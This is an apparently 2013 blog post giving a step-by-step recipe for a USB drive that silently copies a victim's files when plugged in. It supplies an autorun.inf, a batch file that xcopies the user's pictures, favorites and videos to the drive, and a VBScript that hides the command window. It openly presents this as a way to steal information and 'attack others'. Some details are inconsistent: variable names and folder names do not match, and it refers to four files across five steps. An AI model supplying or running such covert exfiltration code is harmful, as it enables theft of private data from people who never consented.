Thursday 20 June 2013

Secreatly Copy File's On USB By Just Plugging USB



Today i m here with very very awesome trick that allows you to copy files automatically by just plugging USB in USB PORTS, You can use this trick to just steal info and rest its automatically saved in USB for You, So Follow 4 Simple Steps To Try this ... 

Step 1 :

Open Notepad (I recommend Notepad++) and copy & paste the following lines.


[autorun]
open=launch.bat
action=Click OK to Run
shell\open\command=launch.bat

Save it as autorun.inf

Its action= command is optional but sometimes when the autorun launches it may ask the user what to open. Depending on what you put here the user will be instructed to click Ok or run the file. This code acts as a backup just in case the user is asked what to open. This is not required if you are operating the computer.

The “shell/open command” also acts as a backup in case the user clicks cancel instead of open when prompted. This code will execute when the drive letter is clicked on. 

Step 2:

Open Notepad again and copy-paste the following lines

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
@echo off
cls

Save this as file.bat
 
Note : If know some special file location Replace "%USERPROFILE%\pictures" with any location eg . "E\Amazetricks" ( will copy whole floder )
This file is configured to copy the contents of the current users favorites, pictures, and videos folder to the USB drive under a folder called 'data'. This is the section of the code you will need to edit depending on what you want to copy.

First file path "%USERPROFILE%\pictures" – is the target.
Second file path "%drive%\all\My pics" – is the destination.

Step 3:

Again open Notepad and copy & paste the following line.

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

Save this as invisible.vbs

This code runs the file.bat as a process so it does not show the CMD prompt and everything the batch file is processing.

Step 4:

Now open Notepad last time and copy & paste the following line.
wscript.exe \invisible.vbs file.bat
Save this as launch.bat

This batch file does two things, it looks for the invisible.vbs file in the root of the Flash drive then loads it with file.bat so file.bat is run with code from vbs file.


Step 5:

Finally copy all Four files created in the above steps and put it on the root of the USB Pen drive. Also create a folder named 'data' where the contents are to be copied automatically. You can name this folder by any name, but then you need to modify changes in step 2


This is all done. Test the USB Pen drive on your own computer first before attacking others !

No comments:

Post a Comment